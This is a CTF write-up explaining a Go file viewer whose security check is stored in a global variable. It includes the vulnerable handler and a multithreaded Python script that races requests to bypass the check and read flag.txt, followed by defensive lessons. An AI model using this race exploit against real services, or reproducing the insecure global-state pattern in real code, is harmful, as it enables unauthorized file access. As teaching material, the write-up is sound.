Files
HIP7CTF_Writeups/shared_state_of_mind.md
m0rph3us1987 a79656b647 Added writeups
2026-03-08 12:22:39 +01:00

5.4 KiB

Shared State of Mind

Welcome to the write-up for Shared State of Mind. This challenge is a "web" challenge that dives into the dangerous waters of concurrency in Go. It demonstrates why global state in a concurrent environment (like a web server) is a recipe for disaster.

We are presented with a "High-Performance File Viewer" that claims to have stripped out "bloatware" like mutex locks. Our goal is to read the flag.txt file, which is protected by a security check.


1. Initial Reconnaissance

The challenge provides a URL and a downloadable archive shared_state_of_mind.tar.xz. Connecting to the URL gives us a file viewer interface (or API). We can request files using ?file=....

If we try ?file=worker.go, we get the source code. If we try ?file=flag.txt, we get: Security Check Failed: Forbidden

2. Source Code Analysis

The archive contains two key Go files: gateway.go and worker.go.

gateway.go: This acts as a load balancer/proxy. It assigns each user a unique session and spawns a dedicated ./worker process for that user. This means our requests are going to a specific instance of the worker application that is assigned just to us.

worker.go: This is where the vulnerability lies. Let's look at how it handles requests:

// GLOBAL VARIABLE
var checkPassed bool 

func handler(w http.ResponseWriter, r *http.Request) {
    filename := r.URL.Query().Get("file")
    
    // 1. Security Check
    if strings.Contains(filename, "flag") {
        checkPassed = false
    } else {
        checkPassed = true
    }

    // 2. Logging (simulates delay)
    logAccess(filename)

    // 3. Serve File
    if checkPassed {
        content, _ := ioutil.ReadFile(filename)
        w.Write(content)
    } else {
        http.Error(w, "Forbidden", 403)
    }
}

3. The Vulnerability: Race Condition

The variable checkPassed is defined as a global variable at the package level. In Go, http.ListenAndServe creates a new goroutine for every incoming request. This means that if multiple requests come in simultaneously, they all share access to the same checkPassed variable.

This creates a Race Condition (specifically a Time-of-Check to Time-of-Use issue):

  1. Request A (Safe) comes in for worker.go. It sets checkPassed = true.
  2. Request B (Malicious) comes in for flag.txt. It sets checkPassed = false.
  3. Request A pauses slightly (e.g., during logAccess or context switching).
  4. Request B pauses slightly.
  5. Request A resumes and potentially overwrites checkPassed back to true after Request B had set it to false, but before Request B performs its final check.

If we time it right, Request B (requesting the flag) will reach the line if checkPassed at the exact moment that Request A has set the global variable to true.

4. Exploitation strategy

To exploit this, we need to flood the server with two types of requests simultaneously using the same session cookie (so they hit the same worker process):

  1. Safe Requests: Repeatedly ask for a allowed file (e.g., ?file=worker.go). This constantly attempts to set checkPassed = true.
  2. Malicious Requests: Repeatedly ask for ?file=flag.txt. This attempts to read the flag.

We can use a simple Python script with multiple threads to achieve this.

Exploit Script

import threading
import requests
import sys
import time

# --- TARGET CONFIGURATION ---
TARGET_URL = "http://challenge-url:1320/"

print("[*] Initializing Session...")
s = requests.Session()
try:
    s.get(TARGET_URL)
except requests.exceptions.ConnectionError:
    print(f"[-] Could not connect to {TARGET_URL}. Is the docker container running?")
    sys.exit(1)

if 'ctf_session' not in s.cookies:
    print("[-] Failed to get session cookie")
    sys.exit(1)

print(f"[+] Session ID: {s.cookies['ctf_session']}")
cookie = {'ctf_session': s.cookies['ctf_session']}

def do_safe():
    while True:
        try:
            requests.get(TARGET_URL + "?file=worker.go", cookies=cookie)
        except:
            pass

def do_exploit():
    while True:
        try:
            r = requests.get(TARGET_URL + "?file=flag.txt", cookies=cookie)
            if "{flag: " in r.text:
                print(f"\n\n[SUCCESS] Flag Found: {r.text}\n")
                sys.exit(0)
        except:
            pass

print("[*] Starting threads... (Press Ctrl+C to stop)")

# High volume of safe threads to flip the switch
for i in range(10):
    t = threading.Thread(target=do_safe)
    t.daemon = True
    t.start()

# Exploit thread
for i in range(1):
    t = threading.Thread(target=do_exploit)
    t.daemon = True
    t.start()

while True:
    time.sleep(1)

5. The Solution

Running the exploit script against the target causes a race condition. Within a few seconds, one of the malicious requests will "win" the race—slipping through the check because a concurrent safe request flipped the global switch to true.

Flag: {flag: D0nt_Sh4r3_M3m0ry_Just_P4ss_Th3_Fl4g}

Lessons Learned

  • Avoid Global State: Never use global variables to store request-specific data in a web server. Use local variables or pass data through the function context.
  • Concurrency is Hard: Just because code looks sequential doesn't mean it executes sequentially relative to other requests.
  • Thread Safety: If you must use shared state, always protect it with synchronization primitives like Mutexes, or better yet, use Go's channels to communicate safely.

Happy Hacking!